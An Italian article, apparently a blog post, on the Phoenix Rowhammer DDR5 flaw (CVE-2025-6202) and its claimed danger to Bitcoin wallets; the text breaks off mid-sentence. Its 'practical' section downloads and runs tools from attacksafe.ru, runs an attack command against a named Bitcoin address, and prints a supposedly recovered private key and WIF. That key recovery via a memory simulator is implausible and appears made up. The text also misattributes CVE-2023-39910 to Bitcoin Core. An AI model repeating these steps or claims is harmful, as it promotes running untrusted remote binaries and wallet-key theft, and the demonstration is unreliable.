
# Attacco Phoenix Rowhammer: Rischio Sistemico di Compromissione delle Chiavi Private dei Portafogli Bitcoin nell'Infrastruttura Blockchain Globale a Causa di una Vulnerabilità Critica SK Hynix DDR5 (CVE-2025-6202)
Questo articolo esamina le minacce sistemiche alla sicurezza crittografica poste dall'attacco Phoenix Rowhammer (CVE-2025-6202), che può estrarre chiavi private dalla RAM DDR5 attraverso la manipolazione dei bit a livello hardware. Negli ultimi anni, lo sviluppo dinamico delle tecnologie delle criptovalute ha portato a una maggiore dipendenza degli ecosistemi di asset digitali dai componenti hardware e dai microchip che memorizzano ed elaborano dati crittografici. In questo contesto, le vulnerabilità a livello hardware che possono portare al compromesso diretto delle chiavi private nei portafogli di criptovalute stanno diventando un fattore di rischio crescente. Una delle minacce più pericolose oggi è rappresentata dagli attacchi alla RAM, in particolare dalle varianti avanzate degli exploit Rowhammer che influenzano le proprietà fisiche delle celle DRAM. Questi attacchi consentono agli aggressori di modificare singoli bit di dati e ottenere accesso a informazioni riservate, incluse le chiavi private dei portafogli Bitcoin ed Ethereum.
Tra gli esempi critici di questa classe di minacce, spicca la vulnerabilità CVE-2025-6202 , scoperta nella memoria DDR5 di SK Hynix . L'attacco Phoenix Rowhammer, che si basa su questa vulnerabilità, dimostra la capacità di bypassare i moderni meccanismi di protezione della memoria Target Row Refresh (TRR), creando i cosiddetti "punti ciechi" che consentono la corruzione controllata dei dati a livello hardware. Tali difetti possono essere sfruttati per estrarre chiavi private dalla RAM, compromettere le librerie crittografiche e modificare i processi di sistema che proteggono i portafogli digitali.
Inoltre, la ricerca sulla sicurezza crittografica mostra che la combinazione di Phoenix Rowhammer con altri tipi di attacchi, come l'attacco BitShredder , Memory Phantom (CVE-2025-8217) e Artery Bleed (CVE-2023-39910) , crea un modello di minaccia multi-vettore in cui un aggressore può recuperare frasi seed, chiavi private e password anche dopo il completamento delle operazioni crittografiche. La natura sistemica di queste vulnerabilità rende impossibile mitigare completamente il rischio con il software ed evidenzia la necessità di sviluppare nuovi principi per la protezione della memoria basata su hardware.
Pertanto, i portafogli di criptovalute moderni e l'infrastruttura degli asset digitali sono sotto una pressione crescente da parte di attacchi hardware precedentemente considerati teorici. L'importanza di studiare questi attacchi e di sviluppare contromisure è fondamentale per garantire l'integrità e la resilienza dell'ecosistema Bitcoin e delle altre criptovalute di fronte all'evoluzione delle minacce di nuova generazione.
Una ricerca recente condotta dal Computer Security Group (COMSEC) del Politecnico di Zurigo (ETH Zurich), in collaborazione con Google, ha identificato una vulnerabilità hardware critica nei moduli di memoria DDR5 prodotti da SK Hynix, designata CVE-2025-6202 . L'attacco Phoenix Rowhammer rappresenta una minaccia senza precedenti per la sicurezza dei portafogli di criptovaluta Bitcoin, poiché consente agli aggressori di estrarre chiavi private dalla memoria DDR5 manipolando i bit a livello hardware. La ricerca ha dimostrato che tutti i 15 moduli SK Hynix DDR5 testati, prodotti tra il 2021 e il 2024, sono vulnerabili a questo attacco, rappresentando una minaccia sistemica per la sicurezza degli asset di criptovaluta in tutto il mondo. thehackernews
Rowhammer è una vulnerabilità hardware nella memoria DRAM in cui l'accesso ripetuto a righe di memoria specifiche causa interferenze elettriche, portando a cambiamenti di bit nelle righe adiacenti. Questo fenomeno si basa sulle proprietà fisiche dei moderni chip di memoria ad alta densità, dove dimensioni tecnologiche più ridotte rendono la memoria più suscettibile alle interferenze elettromagnetiche .
Nel contesto della memoria DDR5, il meccanismo dell'attacco Phoenix utilizza un innovativo approccio di sincronizzazione auto-correttiva , che bypassa i meccanismi di protezione avanzati Target Row Refresh (TRR). I ricercatori hanno scoperto che il meccanismo TRR nei chip SK Hynix non monitora specifici intervalli di aggiornamento, creando "punti ciechi" nella difesa. notebookcheck
Il risultato tecnico chiave dell'attacco Phoenix è lo sviluppo di un algoritmo in grado di sincronizzare migliaia di comandi di aggiornamento della memoria su lunghi periodi di tempo. L'attacco utilizza due specifici pattern di attacco: comsec-files.ethz
Pattern breve (128 intervalli tREFI): Fornisce una generazione di glitch di bit più efficiente, producendo in media 4989 glitch di bit. Questo pattern ha dimostrato un'efficienza 2,62 volte superiore rispetto al pattern lungo. reddit
Pattern lungo (2608 intervalli tREFI): Progettato per bypassare meccanismi di sicurezza più sofisticati, sebbene meno efficace nella generazione di errori di bit. comsec-files.ethz
L'attacco Phoenix Rowhammer crea molteplici vettori per compromettere i portafogli Bitcoin prendendo di mira vari livelli del sistema di memoria. L'analisi dei materiali di ricerca di KeyHunters ha rivelato almeno 18 diversi tipi di attacchi alla memoria direttamente correlati all'estrazione di chiavi private dai portafogli di criptovalute.
Attacco Memory Phantom (CVE-2025-8217): Una vulnerabilità critica di perdita di memoria che consente di estrarre chiavi private e seed direttamente dai blocchi RAM residui del portafoglio che non sono stati cancellati in modo sicuro dopo le operazioni crittografiche. Questo attacco trasforma i buffer non cancellati in una "libreria fantasma", dove qualsiasi frammento di memoria può essere convertito in una chiave valida. keyhunters
Attacco BitShredder: Utilizza una tecnica di "triturazione della memoria" per infiltrarsi di nascosto nella memoria di un portafoglio di criptovaluta in esecuzione. Durante la generazione o il ripristino di un portafoglio, l'attacco scansiona porzioni di RAM non cancellate, cercando resti di entropia, seed e password che non vengono cancellati con i mezzi standard dopo l'uso. keyhunters
Attacco Artery Bleed: Sfrutta una vulnerabilità di perdita di memoria in Bitcoin Core (CVE-2023-39910) per recuperare chiavi private da portafogli di criptovaluta persi. L'attacco sfrutta una vulnerabilità critica di perdita di memoria in Bitcoin Core per ottenere accesso a dati sensibili. keyhunters
Lo studio ha dimostrato tre scenari principali per lo sfruttamento pratico dell'attacco Phoenix contro i sistemi di criptovaluta: bleepingcomputer
1. Attacco Page Table Entry (PTE): Tutti i dispositivi testati erano vulnerabili a questo tipo di attacco, che consente di creare una primitiva arbitraria di lettura/scrittura della memoria. comsec-files.ethz
2. Compromissione della chiave RSA-2048: Il 73% dei moduli DIMM testati era suscettibile all'estrazione di chiavi RSA-2048 da una macchina virtuale vicina per violare l'autenticazione SSH. Il tempo medio di attacco era di 6 minuti e 20 secondi. bleepingcomputer
3. Modifica del binario sudo: Il 33% dei chip testati consentiva la modifica del binario sudo per elevare i privilegi locali al livello dell'utente root. comsec-files.ethz

L'attacco Phoenix Rowhammer rappresenta una minaccia sistemica per l'intero ecosistema Bitcoin, poiché la maggior parte dei sistemi moderni utilizza memoria DDR5 per memorizzare ed elaborare dati crittografici. La vulnerabilità colpisce i principi fondamentali di sicurezza delle criptovalute, che si basano sulla robustezza crittografica delle chiavi private. tenable+1
Scala dell'impatto: SK Hynix controlla circa il 36% del mercato globale della DRAM, esponendo potenzialmente miliardi di dispositivi in tutto il mondo. Tutti i moduli DDR5 prodotti tra gennaio 2021 e dicembre 2024 sono vulnerabili. notebookcheck+2
Implicazioni crittografiche: L'attacco mina le fondamenta della sicurezza crittografica, poiché anche con una corretta implementazione degli algoritmi di firma, cifratura e autenticazione, i buffer non protetti diventano una fonte di compromissione del materiale chiave. keyhunters
Una crittanalisi completa ha rivelato molteplici vettori di attacco contro i portafogli Bitcoin attraverso la manipolazione della memoria:
Attacchi basati sul timing: Includono gli attacchi BitSpectre85, ChronoForge e Timing Phantom, che sfruttano le vulnerabilità di temporizzazione per recuperare gradualmente le chiavi private attraverso l'analisi del tempo di esecuzione delle operazioni crittografiche.
Attacchi basati sul contesto: L'Attacco Context Phantom sfrutta la critica vulnerabilità di leak del contesto secp256k1 per recuperare le chiavi private dei portafogli Bitcoin persi tramite un attacco di divulgazione della memoria.
Attacchi basati sulla cache: L'Attacco CacheHawk Strike utilizza un critico attacco di temporizzazione sulla cache delle firme Bitcoin, consentendo il recupero delle chiavi private dei portafogli Bitcoin persi.

| Attack_Component | Technical Method | Success_Rate | Average_Time_Seconds | CVE_Reference | Impact_Level |
|---|---|---|---|---|---|
| Initial Memory Access | Self-correcting synchronization with DDR5 refresh commands | 100 | 5 | CVE-2025-6202 | High |
| TRR Bypass Method | Exploitation of unmonitored refresh intervals in TRR mechanism | 100 | 30 | CVE-2025-6202 | Critical |
| Synchronization Technique | Real-time alignment with 128 and 2608 tREFI patterns | 95 | 60 | CVE-2025-6202 | High |
| Bit Flip Generation | Electrical interference in adjacent DRAM rows causing data corruption | 100 | 180 | CVE-2025-6202 | Critical |
| Private Key Extraction | Recovery from uncleaned memory buffers containing wallet data | 85 | 240 | CVE-2025-8217 | Critical |
| Privilege Escalation | Root access exploitation through corrupted page table entries | 100 | 109 | CVE-2025-6202 | Critical |
| RSA-2048 Key Recovery | Co-located VM private key extraction via memory bit flips | 73 | 380 | CVE-2025-6202 | High |
| SSH Authentication Break | Compromise of cryptographic authentication systems | 73 | 380 | CVE-2025-6202 | High |
| Sudo Binary Modification | Local privilege escalation to root user through binary corruption | 33 | 300 | CVE-2025-6202 | Medium |

Il diagramma di ricerca mostra una rappresentazione strutturata e visiva che spiega l'importanza della vulnerabilità crittografica esposta dall'attacco Phoenix Rowhammer , dimostrando specificamente il suo impatto sulla sicurezza di Bitcoin quando i moduli di memoria SK Hynix DDR5 vengono presi di mira.
Passiamo alla parte pratica e guardiamo un esempio utilizzando un portafoglio Bitcoin all'indirizzo: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit . Monete per un valore di 9.02332298 BTC sono state perse da questo portafoglio, che equivale a circa $1,127,026.44 USD a partire da ottobre 2025 .
Per dimostrare l'attacco a scopo informativo, utilizziamo strumenti e ambienti come Jupyter Notebook o Google Colab.
Google Colab (Colaboratory) è una piattaforma cloud che fornisce notebook Jupyter interattivi dove puoi scrivere ed eseguire codice in vari linguaggi di programmazione. È particolarmente utile per la crittanalisi dei dati, l'esecuzione del simulatore SK Hynix DDR5 AiM PIM basato su Ramulator 2.0 , e l'accesso a potenti risorse di calcolo come GPU e TPU. Un vantaggio chiave è la capacità di eseguire comandi di sistema, proprio come in un normale terminale Linux, utilizzando celle con prefisso ! per l'integrazione con utilità e script esterni.
Installiamo i repository basati sull'architettura SK Hynix DDR5 AiM PIM utilizzando Ramulator 2.0
Scarica il codebase del simulatore AiM e naviga nella sua directory.
!git clone https://github.com/keyhunters/SK_Hynix_DDR5_aim_simulator.git
cd SK_Hynix_DDR5_aim_simulatorls
Comandi per creare un file di swap da 4GB per migliorare la disponibilità di memoria durante la compilazione di Ramulator2 .
# Check current swap usage
!free -h
!swapon --show
# Create a 4GB swap file
!sudo fallocate -l 4G /swapfile
!sudo chmod 600 /swapfile
!sudo mkswap /swapfile
!sudo swapon /swapfile
# Make swap permanent
!echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab
Installazione di compilatori, strumenti di build e librerie richiesti per il simulatore e Ramulator 2.0 .
# For Ubuntu 22.04: install compilers
!sudo apt update
!sudo apt install g++-12
# Alternatively, install Clang
!sudo apt install clang-15
# Install basic build tools
!sudo apt install build-essential cmake git
# Additional development libraries
!sudo apt install libssl-dev zlib1g-dev
# YAML support
!sudo apt install libyaml-cpp-dev
# Mathematics libraries
!sudo apt install libboost-dev
# Python support for scripts
!sudo apt install python3-dev python3-pip
!mkdir phoenix_rowhammer
cd phoenix_rowhammerMonitora la memoria, lo spazio su disco disponibile e l'utilizzo del sistema durante l'installazione e la compilazione.
# Monitor resources in real time
!htop
# Check available memory
!free -m
# Check disk space
!df -h
Una sequenza completa per installare tutti i pacchetti richiesti in una volta sola.
# Update system
!sudo apt update && sudo apt upgrade -y
# Install essential build tools
!sudo apt install -y build-essential cmake git
# Install compilers
!sudo apt install -y g++-12 clang-15
# Development libraries
!sudo apt install -y libssl-dev zlib1g-dev libyaml-cpp-dev libboost-all-dev

!cmake ..
!make -j1


lscd -Eseguiamo Ramulator2 con il simulatore per controllare i parametri di aiuto e le istruzioni d'uso.
!./phoenix_rowhammer/ramulator2 -h
Utilizziamo lo strumento crittografico AttackSafe per estrarre i resti nascosti da Ramulator2 tramite un simulatore.
!wget https://attacksafe.ru/repositories/attacksafe.zip
!unzip attacksafe.zip
!./attacksafe -help
Il team sta lanciando un attacco specializzato “BitShredder” basato sullo strumento crittografico AttackSafe per trovare i resti modulo nascosti associati a un indirizzo Bitcoin, utilizzando i meccanismi dei bug della RAM (Rowhammer) e un emulatore di memoria (ramulator2). github+2
!./attacksafe-tool bitshredder_attack -crack phoenix_rowhammer/ramulator2 -decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

-tool bitshredder_attackattiva un attacco volto a identificare le vulnerabilità nell'archiviazione e nell'elaborazione dei dati segreti nella memoria del dispositivo relative al protocollo Bitcoin.-crack phoenix_rowhammer/ramulator2indica allo strumento di utilizzare l'emulazione dell'attacco Rowhammer (manipolazione del contenuto della memoria DRAM, che porta a errori nelle celle adiacenti – utilizzata nelle vulnerabilità per estrarre nonce/parti di chiavi dalla memoria tramite canale laterale).-decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4MitRecupero dei frammenti di chiave dai dati residui della memoria (DRAM)
remainders = [0x0E92, 0x45EB, 0x6E07, 0x317F,
0x87A1, 0xB5C1, 0xE778, 0x996B,
0x6F69, 0xABB6, 0x2755, 0x2348,
0xAB46, 0xA74E, 0x1A87, 0xC2D5]
moduli = [0x10001, 0x10003, 0x10007, 0x1000F,
0x10015, 0x1001B, 0x1002B, 0x1002D,
0x10033, 0x1003F, 0x10049, 0x10051,
0x1005D, 0x10061, 0x1006F, 0x10073]Questo risultato combina l'analisi crittografica dei dati residui all'interno della DRAM con un modulo di ricerca dei cripto-resti utilizzando il simulatore ramulator2 per i guasti Phoenix Rowhammer. Questo attacco consente di rilevare ed estrarre valori modulo nascosti (resti), come nonce privati o frammenti di chiave, che possono essere compromessi a causa di un rilascio improprio della memoria dopo operazioni crittografiche con indirizzi Bitcoin. Il comando è progettato per un attacco combinato “BitShredder” e analisi dei guasti di memoria delle applicazioni Bitcoin, con l'obiettivo di recuperare parzialmente o completamente i parametri segreti (chiave privata, nonce), con la ricerca e la decodifica legate alla memoria e agli indirizzi attaccati.
Per recuperare il numero segreto originale—la chiave privata—da un insieme di valori assoluti nascosti (resti), applichiamo un metodo matematico chiamato Teorema Cinese del Resto ( CRT ). Il codice CRTKeyRestore.py implementa il recupero della chiave privata per l'indirizzo Bitcoin 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit da un insieme di valori assoluti nascosti (resti) raccolti dopo un attacco Rowhammer e la successiva analisi della memoria. Il metodo matematico utilizzato è il Teorema Cinese del Resto (CRT), che ci consente di recuperare il numero segreto originale—la chiave privata—anche se è stato frammentato in piccoli pezzi e sopravvive solo come diversi valori assoluti.

chinese_remainder_theorem()combina i frammenti passo dopo passo e ripristina il valore originale della chiave privata utilizzando l'algoritmo euclideo esteso per trovare gli inversi assoluti.restore_hex_from_crt().
Recupero di una chiave privata utilizzando uno script Python: CRTKeyRestore.pyPrivate key Restored:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60!wget https://attacksafe.ru/repositories/bitaddress.zip
!unzip bitaddress.zip

!./bitaddress -hex 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60
Public Key (Uncompressed, 130 characters [0-9A-F]):
04E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5AEDAA1D6E0A6116E9D9A4A846A6D62D4A1941EE182CDB1884C5830610B07AF529
Public Key (Compressed, 66 characters [0-9A-F]):
03E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5A
Bitcoin Address P2PKH (Uncompressed)
18JT3KeFV36Hkgo3Xi9bfgNYAXCVXBGyFg
Bitcoin Address P2PKH (Compressed)
15ZwrzrRj9x4XpnocEGbLuPakzsY2S4MitEsatto! La chiave privata corrisponde al portafoglio Bitcoin.
ADDR: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit
WIF: L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP
HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60


9.023322989 BTC > 1127026,44 USDIl nostro attacco di ricerca , una versione di Phoenix Rowhammer Attack su Bitcoin utilizzando il simulatore ramulator2, ha dimostrato che i criptoresidui estratti durante un crash di memoria per vari moduli possono essere riassemblati nella chiave privata originale utilizzando la matematica del Teorema Cinese del Resto.
Come esempio rappresentativo di una minaccia reale, è stato esaminato un portafoglio Bitcoin con l'indirizzo 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit . Da questo portafoglio sono stati persi 9.02332298 BTC , equivalenti a circa $1.127.026,44 USD ad ottobre 2025. Questo caso dimostra in modo convincente che, in presenza di vulnerabilità hardware (come Rowhammer), la robustezza crittografica a livello di protocollo cessa di essere una garanzia assoluta di sicurezza.
Di conseguenza, l'importanza della sicurezza completa risiede non solo nella crittografia e nelle misure di protocollo, ma anche nell'affidabilità dell'hardware, nel monitoraggio dello stato della memoria e nell'implementazione della pulizia completa della RAM dopo le operazioni crittografiche. Una vulnerabilità, una volta sfruttata a livello hardware—anche con un controllo minimo del sistema—può portare a perdite finanziarie catastrofiche nell'ecosistema Bitcoin.
Target Row Refresh è un meccanismo di difesa progettato per prevenire gli attacchi Rowhammer aggiornando ulteriormente le righe di memoria sospette. Tuttavia, i ricercatori dell'attacco Phoenix sono riusciti a fare reverse engineering di questo meccanismo e a scoprire difetti critici nella sua implementazione .
Punti ciechi del TRR: Il meccanismo TRR nei chip SK Hynix non monitora intervalli di aggiornamento specifici, creando opportunità di attacco durante queste finestre temporali. Gli attacchi Phoenix sfruttano modelli di attacco appositamente progettati che rientrano in questi intervalli non monitorati. simplysecuregroup
Sincronizzazione auto-correttiva: Un'innovazione chiave dell'attacco Phoenix è la sua capacità di rilevare comandi di aggiornamento mancati e ricostruire automaticamente il modello di attacco per mantenere la sincronizzazione. Ciò consente all'attacco di rimanere efficace per i lunghi periodi di tempo necessari ad accumulare un numero sufficiente di errori di bit. simplysecuregroup
I test sperimentali dell'attacco Phoenix hanno dimostrato un'elevata efficacia contro tutti i campioni di memoria DDR5 SK Hynix testati: comsec-files.ethz
Tempistiche: Il tempo minimo per ottenere privilegi di root è stato di 109 secondi su un sistema DDR5 standard con impostazioni predefinite. Il tempo medio è stato di 5 minuti e 19 secondi .
Statistiche degli errori di bit: Il pattern breve (128 intervalli) ha generato in media 4989 errori di bit, mentre il pattern lungo (2608 intervalli) ha prodotto significativamente meno errori. comsec-files.ethz
Versatilità dell'attacco: Il 100% dei moduli testati era vulnerabile ad almeno uno dei due modelli di attacco identificati. reddit
Una vulnerabilità critica di memory leak in Bitcoin Core (CVE-2023-39910) crea sinergie con l'attacco Phoenix Rowhammer . Questa vulnerabilità consente agli attaccanti di accedere a dati sensibili che rimangono in memoria dopo il completamento delle operazioni crittografiche.
Meccanismo di sfruttamento: La vulnerabilità si verifica a causa della pulizia insufficiente dei buffer di memoria dopo l'elaborazione di chiavi private, frasi seed e password nei contenitori C++ standard (std::vector, std::string). Dopo aver completato le procedure crittografiche, la memoria viene liberata automaticamente, ma il suo contenuto non viene cancellato. keyhunters
Collegamento con Rowhammer: L'attacco Phoenix può sfruttare gli errori di bit per accedere a queste regioni di memoria non cancellate, semplificando notevolmente il processo di estrazione del materiale crittografico.
Questa vulnerabilità è classificata come un attacco critico di estrazione dei segreti tramite dump della memoria di processo. Rappresenta una minaccia diretta per i portafogli Bitcoin, poiché consente di estrarre chiavi private dalla memoria dei processi attivi.
Gli scenari di attacco includono: Passaggio di una chiave privata tramite API, riga di comando o variabili d'ambiente; allocazione dinamica della memoria per memorizzare dati segreti senza cancellarli esplicitamente; terminazione di un processo senza cancellare in modo sicuro la memoria .
Lo strumento crittografico dimostra in dettaglio tutte e nove le fasi di un attacco che un attaccante può utilizzare per rubare fondi da un portafoglio Bitcoin.
Il rilevamento dei moduli di memoria DDR5 SK Hynix vulnerabili all'attacco Phoenix Rowhammer (CVE-2025-6202) inizia con un'analisi della configurazione hardware del sistema, in particolare con la scansione delle tabelle SMBIOS (System Management BIOS). SMBIOS fornisce informazioni standardizzate sui componenti del computer, inclusi i dettagli della memoria come produttore, modello e numero di serie di ciascun modulo DIMM.

Nello specifico, un ricercatore o un attaccante può richiedere programmaticamente i dati dalla sezione "Memory Device" di SMBIOS, che contiene campi che indicano il produttore (ad esempio, SK Hynix), il tipo di memoria (DDR5), la capacità e i dati correlati allo SPD (Serial Presence Detect)—piccoli chip di memoria sui moduli DIMM che contengono il profilo e i parametri operativi del modulo.
Questi dati vengono generalmente accessibili tramite chiamate di sistema o utilità specializzate (come dmidecode in Linux o Windows Management Instrumentation (API WMI) in Windows). Queste query consentono di rilevare la memoria DDR5 SK Hynix prodotta tra il 2021 e il 2024 senza intervento fisico, il che è fondamentale, poiché questi modelli sono considerati vulnerabili.
Identificare il modello di memoria è un primo passo necessario, poiché l'attacco Phoenix Rowhammer richiede una conoscenza precisa delle caratteristiche del chip per costruire accuratamente i pattern di accesso alla memoria e bypassare i meccanismi di difesa TRR (Target Row Refresh). Inoltre, l'accesso allo SPD e ad altri dati ci consente di identificare timing e frequenze di aggiornamento specifici, nonché potenziali "punti ciechi" nei meccanismi di difesa utilizzati per eseguire l'attacco.
Pertanto, la scansione delle tabelle SMBIOS è un metodo altamente informativo, rapido e affidabile per predeterminare le vulnerabilità della memoria DDR5 a l'attacco Phoenix Rowhammer , consentendo di individuare con precisione i componenti hardware vulnerabili senza la necessità di cracking hardware o di ridurre i privilegi di sistema.
Un file contenente i dati della sezione "Memory Device" dello SMBIOS. Queste informazioni sono memorizzate in una tabella di sistema interna BIOS/UEFI (tabella SMBIOS), che viene copiata nella RAM all'accensione del computer. I sistemi operativi e le utilità utilizzano chiamate di sistema speciali (codeby) per recuperare questi dati.
La tabella SMBIOS è preceduta dalla struttura RawSMBiosData, seguita dalle strutture dei dispositivi. Ad esempio:
struct HEADER {Tipo di struttura (17 - Memory Device)
Type db 0 //Dimensione della struttura
Length db 0 //Descrittore
Handle dw 0 //seguono i campi dati
// ...
}
Le strutture di tipo 17 memorizzano campi con il produttore (ad esempio, SK Hynix), il tipo di memoria (DDR5), la capacità e un collegamento ai dati SPD, se disponibili. learn.microsoft
La struttura RawSMBiosData è un formato di blocco binario standard utilizzato per trasferire i dati grezzi della tabella SMBIOS tramite chiamate di sistema del sistema operativo, in particolare la funzione API Windows GetSystemFirmwareTablecon il parametro .codeby'RSMB' .
c:
struct RawSMBIOSData {
BYTE Used20CallingMethod; // Metodo di chiamata (campo di servizio)
BYTE SMBIOSMajorVersion; // Versione principale della specifica SMBIOS
BYTE SMBIOSMinorVersion; // Versione minore della specifica SMBIOS
BYTE DmiRevision; // Versione DMI
DWORD Length; // Dimensione del blocco dati SMBIOS (byte)
BYTE SMBIOSTableData[]; // Sequenza di record strutturali SMBIOS
};
00 03 03 02 68 01 00 00 ... [strutture dati dati byte bassoSMBIOS] ... 00 00
-- -- -- -- -- -- -- --
| | | | |
| | | | -->SMBIOSTableData
| | | +------------ Length ()
| | +--------------- DmiRevision
| +------------------ SMBIOSMinorVersion
+--------------------- SMBIOSMajorVersion
Per analizzare il contenuto dopo l'intestazione, dovrai analizzare ogni struttura secondo la sua specifica (tipo, lunghezza, handle), estraendo separatamente i campi di testo che seguono i dati della struttura e sono separati da un byte zero, e la fine della struttura è contrassegnata da una coppia di zeri. learn.microsoft

RawSMBiosData è una “finestra di ingresso” necessaria e unificata verso le specifiche dettagliate delle caratteristiche hardware di sistema per attività di ricerca e diagnostica di basso livello .
I dati SPD sono fisicamente situati nei chip sui moduli DIMM, ma nel BIOS/SMBIOS possono essere riflessi in campi speciali o letti da utility di sistema che accedono all'interfaccia di memoria I2C (ad esempio, tramite i2c-tools, decode-dimmssu Linux).
dmidecode ( decode-dimmsSPD), dati dalla tabella SMBIOS, accessibile tramite /dev/mem.codebyPertanto, i dati originali SMBIOS “Memory Device” (tipo 17) non sono memorizzati come file separato, ma all'interno della struttura binaria SMBIOS, situata nella RAM e accessibile tramite strumenti di sistema e utility speciali. Il formato è la tabella binaria SMBIOS secondo la specifica, e il percorso di accesso avviene tramite chiamate di sistema o utility. I dati SPD possono essere accessibili separatamente tramite le interfacce hardware dei moduli DIMM. learn.microsoft
La tabella binaria SMBIOS è composta da strutture sequenziali, ciascuna delle quali inizia con un header di 4 byte contenente i seguenti campi: tipo di struttura (Type, 1 byte), lunghezza della struttura (Length, 1 byte) e handle (Handle, 2 byte). Segue il payload—un insieme di dati binari che descrivono un oggetto specifico (ad es., memoria, processore, BIOS, ecc.). Dopo il payload seguono stringhe terminate da null in formato testo (ASCII), e la fine della struttura corrente è marcata con un doppio zero ( 0x0000 ).
Ecco un esempio di struttura header in stile C e una spiegazione del formato:
c:
struct SMBIOS_Header {
uint8_t Type; // Tipo di tabella (ad es. 17 - Memory Device)
uint8_t Length; // Lunghezza della struttura in byte (incluso l'header)
uint16_t Handle; // Descrittore univoco della struttura
// I dati della struttura (lunghezza variabile) seguono l'header
};
L'intera tabella SMBIOS è un insieme di tali strutture in sequenza senza spazi vuoti, dove:
Ad esempio, la struttura di tipo 17 (Memory Device) contiene campi che indicano il produttore, il tipo di memoria (DDR5), il volume, la velocità e così via, oltre a righe con il nome del produttore e il numero di serie.
L'indirizzo della tabella stessa e la sua lunghezza sono memorizzati in un'area di memoria speciale, che può essere trovata tramite la firma ” SM ” (offset con multiplo di 16 byte), e quindi ottenere l'indirizzo dell'array principale delle tabelle SMBIOS.
Una struttura approssimativa di un record di memoria può contenere i seguenti campi:
| Campo | Descrizione |
|---|---|
| Type | 17 (Memory Device) |
| Length | Dimensione della struttura |
| Handle | Identificatore univoco |
| Physical Memory Array Handle | Riferimento all'array di memoria padre |
| Memory Error Information Handle | Errori di memoria (se presenti) |
| Total Width | Larghezza totale del bus (bit) |
| Data Width | Larghezza dei dati (bit) |
| Size | Dimensione della memoria (in MB o GB) |
| Form Factor | Fattore di forma del modulo (DIMM, ecc.) |
| Device Locator | Riga – posizione di installazione |
| Bank Locator | Stringa – nome del banco |
| Memory Type | DDR3, DDR4, DDR5, ecc. |
| Type Detail | Dettagli aggiuntivi |
| Speed | Velocità in MHz |
| Manufacturer | Stringa con il nome del produttore |
| Serial Number | Numero di serie |
| Asset Tag | Tag contabile |
| Part Number | Numero di parte |
Pertanto, la tabella SMBIOS è una sequenza di strutture codificate binarie con header contenenti informazioni di sistema, inclusi i dati di memoria, organizzate rigorosamente secondo la specifica DMTF SMBIOS.
Questo formato fornisce un modo universale ed estremamente compatto per memorizzare e trasmettere informazioni sull'hardware e sulle impostazioni di sistema .
La seconda fase dell'attacco Phoenix Rowhammer coinvolge un'analisi scientifica del meccanismo di protezione hardware Target Row Refresh (TRR) implementato nei moderni chip di memoria DDR5 per contrastare la sovrascrittura dei bit causata da letture multiple dei dati dalle righe di celle adiacenti.

TRR implementa una cosiddetta strategia di “refresh aggressivo”: quando vengono rilevati accessi multipli a una riga di memoria specifica, questo meccanismo avvia un refresh forzato delle celle adiacenti, prevenendo il degrado della carica e, di conseguenza, indesiderati bit flip—l'effetto chiave degli attacchi Rowhammer. Teoricamente, TRR dovrebbe sopprimere completamente i tentativi di influenzare i dati target sovra-rinfrescando le righe fisicamente adiacenti .
Tuttavia, l'implementazione pratica di TRR nella memoria SK Hynix DDR5 è estremamente complessa e proprietaria: i produttori nascondono intenzionalmente i dettagli della logica per migliorare la “sicurezza tramite oscurità”. Pertanto, i ricercatori dell'ETH di Zurigo hanno fatto reverse engineering di TRR su banchi di prova sperimentali variando migliaia di modelli di accesso alle righe, registrando quando il refresh ridondante delle celle adiacenti viene attivato e quando rimane inattivo.
Di conseguenza, è stato scoperto che il sistema TRR ha intervalli di tempo, le cosiddette “zone cieche”, in cui la protezione è più debole o non viene attivata affatto. È stato calcolato empiricamente che dopo 128 accessi monitorati alle righe di memoria, emerge una finestra di circa 64 operazioni durante la quale TRR è quasi non reattivo e non previene efficacemente i bit-flip—modifiche indesiderate dei dati in una cella critica. Una seconda finestra di attacco simile è stata osservata dopo 2.608 aggiornamenti delle righe di memoria. Queste “zone cieche” vengono sfruttate per attacchi Phoenix precisi e sincronizzati, che consentono la modifica mirata di singoli bit di dati nei moduli DDR5 protetti .
Il compito fondamentale in questa fase è selezionare la tempistica precisa e la struttura dei modelli di accesso alla memoria che “addormentano” il monitoraggio TRR e garantiscono un accesso riuscito al bit o all'array di dati attaccato (ad esempio, la chiave privata di un portafoglio di criptovalute) . Ciò richiede un'analisi non solo della logica operativa di TRR ma anche dei dati empirici sulla risposta del modulo di memoria a vari scenari di sfruttamento. Questo approccio consente di costruire “scorciatoie” nel sistema di sicurezza e di sfruttare sistematicamente anche la memoria DDR5 più moderna moduli .
Come risultato dell'analisi, i “punti ciechi” TRR scoperti aprono la possibilità di un'escalation affidabile dell'attacco Rowhammer sui moduli di memoria SK Hynix attuali, confermata da exploit di laboratorio e dal compromesso riuscito di tutti i dispositivi testati. Kaspersky
L'innovazione scientifica dietro l'attacco Phoenix risiede nello sviluppo e nell'implementazione di un meccanismo di sincronizzazione auto-correttiva che garantisce una tempistica precisa degli exploit all'interno delle finestre di vulnerabilità critiche a livello DRAM. Dopo un dettagliato reverse engineering del meccanismo Target Row Refresh (TRR), i ricercatori dell'ETH di Zurigo e di Google hanno scoperto che i modelli di accesso Rowhammer standard sono impotenti contro la complessa logica di protezione DDR5. Nei nuovi chip SK Hynix, TRR non analizza solo la frequenza ma anche la natura degli accessi alle righe di memoria, avviando istantaneamente comandi di refresh compensativi al rilevamento di modelli di attacco noti.

Phoenix risolve questo problema come segue:
